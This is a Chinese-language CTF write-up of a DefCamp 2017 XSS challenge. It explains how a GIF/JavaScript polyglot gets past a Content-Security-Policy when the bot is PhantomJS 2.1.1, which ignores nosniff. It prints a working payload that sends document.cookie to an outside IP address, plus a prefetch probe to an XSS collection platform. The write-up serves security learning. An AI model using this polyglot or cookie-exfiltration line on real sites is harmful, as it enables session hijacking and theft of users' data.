defcamp一道xss和phantomjs的问题

先留个坑,还没有找到问题的根本原因,因为今天出门旅游,回来解决这个问题。虽然phantomjs现在已经停止维护,但用起来还算不错吧,暂时先再用着一段时间呢。

先看defcamp这个xss题目

defcamp2017_1

一个留言板,看看请求头发现了csp,那么就是一个xss了。csp如下:


<?php  
 header("Content-Security-Policy: default-src 'none'; img-src 'self' *.imgur.com *.ibb.co; script-src 'self'; connect-src 'self'; style-src 'self' fonts.googleapis.com fonts.gstatic.com 'unsafe-inline'; font-src 'self' fonts.gstatic.com  fonts.googleapis.com;");
?>

主要两个地方,一个default-src 'none',一个script-src 'self',所以我们可以很容易猜到那个上传点的作用就是上传一个图片文件,然后用scriptsrc引用它。

那么问题来了,script去src一个图片文件,我们在响应头中可以看到X-Content-Type-Options: nosniff,也就是说,这样子肯定是没有办法引用图片文件的。

先简单搜集一下信息,随便上传个正常的图片,然后message为

<link rel="prefetch" href="http://xss平台/">

发现了bot使用的是phantomjs2.1.1,其它就没有什么有用的信息了。

理论上来说,根据响应头中的X-Content-Type-Options: nosniff,我们是应该不能用script去引用图片文件(ps:在firefox和chrome中即便没有这个响应头也不能引用图片文件)。但是这里就要说道phantomjs的这个问题了。

本地测试一下:


<?php
 header("Content-Security-Policy: default-src 'none'; img-src 'self' *.imgur.com *.ibb.co; script-src 'self'; connect-src 'self'; style-src 'self' fonts.googleapis.com fonts.gstatic.com 'unsafe-inline'; font-src 'self' fonts.gstatic.com  fonts.googleapis.com;");
 header("X-Content-Type-Options: nosniff");
?>
<script src="1.gif"></script>

其中的1.gif内容如下:

GIF98a=1;
location.href='http://104.160.43.154:8000/xss/?a='+escape(document.cookie);

当然,第一行的GIF98a是为了保持gif的格式头,同时保证正确的js语法,以便于MIME检测。然后我用phantomjs测试结果如下,监听到了页面发出了如下请求:

defcamp2017_2

request3 。。。成功发出去了,也就意味着gif中的js被成功引用了。而同时再firefox或chrome中都是这样的

defcamp2017_3

那么我们再回到题目。 如果能够引用js了,那么就可以上传直接执行了。 虽然上传限制了图片的格式头,用我上面gif那个就可以Bypass掉格式头的检查。 可以执行js就可以为所欲为了。 之后访问下admin.php就能拿到flag了。就不再赘述了。

但是关于这个phantomjs的问题的原因在这里先留一个坑。回来看看源码研究一下。 不知道是不是根本没有实现这个功能。